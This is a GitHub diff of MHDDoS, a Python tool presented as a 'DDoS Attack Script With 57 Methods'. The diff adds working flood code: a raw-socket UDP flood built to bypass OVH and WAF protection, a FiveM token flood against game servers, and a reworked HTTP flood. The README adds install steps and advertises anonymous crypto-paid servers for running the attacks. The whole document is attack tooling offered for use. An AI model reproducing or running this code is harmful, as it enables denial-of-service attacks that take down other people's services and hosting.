Skip to content
24 changes: 21 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
<h1 align="center">MHDDoS - DDoS Attack Script With 56 Methods</h1>
<h1 align="center">MHDDoS - DDoS Attack Script With 57 Methods</h1>
<em><h5 align="center">(Programming Language - Python 3)</h5></em>

<p align="center">
Expand All @@ -19,7 +19,7 @@

* <img src="https://img.icons8.com/cotton/344/domain.png" width="16" height="16" alt="get"> GET | GET Flood
* <img src="https://cdn0.iconfinder.com/data/icons/database-storage-5/60/server__database__fire__burn__safety-512.png" width="16" height="16" alt="post"> POST | POST Flood
* <img src="https://static-00.iconduck.com/assets.00/ovh-icon-2048x2048-l4c3izvg.png" width="16" height="16" alt="ovh"> OVH | Bypass OVH
* <img src="https://ovh.github.io/manager/ovhcloud-logo.webp" width="16" height="16" alt="ovh"> OVH | Bypass OVH
* <img src="https://cdn-icons-png.flaticon.com/512/1691/1691948.png" width="16" height="16" alt="ovh"> RHEX | Random HEX
* <img src="https://cdn-icons-png.flaticon.com/512/4337/4337972.png" width="16" height="16" alt="ovh"> STOMP | Bypass chk_captcha
* <img src="https://cdn.iconscout.com/icon/premium/png-256-thumb/cyber-bullying-2557797-2152371.png" width="16" height="16" alt="stress"> STRESS | Send HTTP Packet With High Byte
Expand Down Expand Up @@ -49,12 +49,14 @@
* <img src="https://raw.githubusercontent.com/kgretzky/pwndrop/master/media/pwndrop-logo-512.png" width="16" height="16" alt="tcp"> TCP | TCP Flood Bypass
* <img src="https://styles.redditmedia.com/t5_2rxmiq/styles/profileIcon_snoob94cdb09-c26c-4c24-bd0c-66238623cc22-headshot.png" width="16" height="16" alt="udp"> UDP | UDP Flood Bypass
* <img src="https://cdn-icons-png.flaticon.com/512/1918/1918576.png" width="16" height="16" alt="syn"> SYN | SYN Flood
* <img src="https://static-00.iconduck.com/assets.00/ovh-icon-2048x2048-l4c3izvg.png" width="16" height="16" alt="ovh"> OVH-UDP | UDP flood with random HTTP headers and binary payload to bypass OVH and WAFs.
* <img src="https://cdn-icons-png.flaticon.com/512/1017/1017466.png" width="16" height="16" alt="cps"> CPS | Open and close connections with proxy
* <img src="https://icon-library.com/images/icon-ping/icon-ping-28.jpg" width="16" height="16" alt="icmp"> ICMP | Icmp echo request flood (Layer3)
* <img src="https://s6.uupload.ir/files/1059643_g8hp.png" width="16" height="16" alt="connection"> CONNECTION | Open connection alive with proxy
* <img src="https://ia803109.us.archive.org/27/items/source-engine-video-projects/source-engine-video-projects_itemimage.png" width="16" height="16" alt="vse"> VSE | Send Valve Source Engine Protocol
* <img src="https://mycrackfree.com/wp-content/uploads/2018/08/TeamSpeak-Server-9.png" width="16" height="16" alt="teamspeak 3"> TS3 | Send Teamspeak 3 Status Ping Protocol
* <img src="https://cdn2.downdetector.com/static/uploads/logo/75ef9fcabc1abea8fce0ebd0236a4132710fcb2e.png" width="16" height="16" alt="fivem"> FIVEM | Send FiveM Status Ping Protocol
* <img src="https://github.com/user-attachments/assets/f40748bf-dd28-4294-b862-cb0acbc74eea" width="16" height="16" alt="fivem-token"> FIVEM-TOKEN | Send FiveM confirmation token flood
* <img src="https://cdn.iconscout.com/icon/free/png-512/redis-4-1175103.png" width="16" height="16" alt="mem"> MEM | Memcached Amplification
* <img src="https://lyrahosting.com/wp-content/uploads/2020/06/ddos-attack-icon.png" width="16" height="16" alt="ntp"> NTP | NTP Amplification
* <img src="https://cdn-icons-png.flaticon.com/512/4712/4712139.png" width="16" height="16" alt="mcbot"> MCBOT | Minecraft Bot Attack
Expand Down Expand Up @@ -138,6 +140,18 @@ pip install -r requirements.txt
apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential git && git clone https://github.com/MatrixTM/MHDDoS.git && cd MH* && pip3 install -r requirements.txt
```

**Docker**

```shell script
git clone https://github.com/MatrixTM/MHDDoS.git
cd MHDDoS
docker compose build
# you can use the built image directly by uncommenting one line in the dockercompose
docker compose run -it --entrypoint /bin/bash mhddos

```


[python3]: https://python.org 'Python3'
[github issues]: https://github.com/MatrixTM/MHDDoS/issues 'enter'

Expand All @@ -146,5 +160,9 @@ apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pi
## Need a Cheap Hourly Server? No Problem

<a href="https://aeza.net/?ref=375036"><img src="https://github.com/user-attachments/assets/f875428b-cb35-442d-8dce-cdc5ead4ffbd" width="728" height="90" alt="aeza"></a>

#### You can buy an hourly 10Gbps server from [Aeza Hosting](https://aeza.net/?ref=375036) with crypto (100% anonymous).


<a href="https://zomro.com/vps?from=428115"><img src="https://i.postimg.cc/KcH7CG8b/vps.png" width="728" height="90" alt="zomro"></a>
#### [Zomro Hosting](https://zomro.com/vps?from=428115) allows you to purchase an hourly server using crypto and completely anonymously.

80 changes: 71 additions & 9 deletions start.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@
from os import urandom as randbytes
from pathlib import Path
from re import compile
from random import choice as randchoice
from random import choice as randchoice, randint
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM, IPPROTO_ICMP,
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
gethostname, socket)
Expand Down Expand Up @@ -127,8 +127,8 @@ class Methods:

LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
"TCP", "UDP", "SYN", "VSE", "MINECRAFT",
"MCBOT", "CONNECTION", "CPS", "FIVEM",
"TS3", "MCPE", "ICMP"
"MCBOT", "CONNECTION", "CPS", "FIVEM", "FIVEM-TOKEN",
"TS3", "MCPE", "ICMP", "OVH-UDP",
}

ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
Expand Down Expand Up @@ -400,6 +400,8 @@ def __init__(self,
"TS3": self.TS3,
"MCPE": self.MCPE,
"FIVEM": self.FIVEM,
"FIVEM-TOKEN": self.FIVEMTOKEN,
"OVH-UDP": self.OVHUDP,
"MINECRAFT": self.MINECRAFT,
"CPS": self.CPS,
"CONNECTION": self.CONNECTION,
Expand Down Expand Up @@ -470,6 +472,14 @@ def UDP(self) -> None:
continue
Tools.safe_close(s)

def OVHUDP(self) -> None:
with socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while True:
for payload in self._generate_ovhudp():
Tools.sendto(s, payload, self._target)
Tools.safe_close(s)

def ICMP(self) -> None:
payload = self._genrate_icmp()
s = None
Expand All @@ -489,8 +499,7 @@ def SYN(self) -> None:

def AMP(self) -> None:
s = None
with suppress(Exception), socket(AF_INET, SOCK_RAW,
IPPROTO_UDP) as s:
with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while Tools.sendto(s, *next(self._amp_payloads)):
continue
Expand Down Expand Up @@ -528,6 +537,24 @@ def VSE(self) -> None:
continue
Tools.safe_close(s)

def FIVEMTOKEN(self) -> None:
global BYTES_SEND, REQUESTS_SENT

# Generete token and guid
token = str(uuid4())
steamid_min = 76561197960265728
steamid_max = 76561199999999999
guid = str(randint(steamid_min, steamid_max))

# Build Payload
payload_str = f"token={token}&guid={guid}"
payload = payload_str.encode('utf-8')

with socket(AF_INET, SOCK_DGRAM) as s:
while Tools.sendto(s, payload, self._target):
continue
Tools.safe_close(s)

def FIVEM(self) -> None:
global BYTES_SEND, REQUESTS_SENT
payload = b'\xff\xff\xff\xffgetinfo xxx\x00\x00\x00'
Expand Down Expand Up @@ -555,6 +582,41 @@ def MCPE(self) -> None:
continue
Tools.safe_close(s)

def _generate_ovhudp(self) -> List[bytes]:
packets = []

methods = ["PGET", "POST", "HEAD", "OPTIONS", "PURGE"]
paths = ['/0/0/0/0/0/0', '/0/0/0/0/0/0/', '\\0\\0\\0\\0\\0\\0', '\\0\\0\\0\\0\\0\\0\\', '/', '/null', '/%00%00%00%00']

for _ in range(randint(2, 4)):
ip = IP()
ip.set_ip_src(__ip__)
ip.set_ip_dst(self._target[0])

udp = UDP()
udp.set_uh_sport(randint(1024, 65535))
udp.set_uh_dport(self._target[1])

payload_size = randint(1024, 2048)
random_part = randbytes(payload_size).decode("latin1", "ignore")

method = randchoice(methods)
path = randchoice(paths)

payload_str = (
f"{method} {path}{random_part} HTTP/1.1\n"
f"Host: {self._target[0]}:{self._target[1]}\r\n\r\n"
)

payload = payload_str.encode("latin1", "ignore")

udp.contains(Data(payload))
ip.contains(udp)

packets.append(ip.get_packet())

return packets

def _genrate_syn(self) -> bytes:
ip: IP = IP()
ip.set_ip_src(__ip__)
Expand Down Expand Up @@ -1091,7 +1153,10 @@ def BYPASS(self):
Tools.safe_close(s)

def GSB(self):
payload = str.encode("%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type,
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
payload = str.encode("%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type,
self._target.raw_path_qs,
ProxyTools.Random.rand_str(6)) +
"Host: %s\r\n" % self._target.authority +
Expand All @@ -1107,9 +1172,6 @@ def GSB(self):
'Sec-Gpc: 1\r\n'
'Pragma: no-cache\r\n'
'Upgrade-Insecure-Requests: 1\r\n\r\n')
s = None
with suppress(Exception), self.open_connection() as s:
for _ in range(self._rpc):
Tools.send(s, payload)
Tools.safe_close(s)

Expand Down
Loading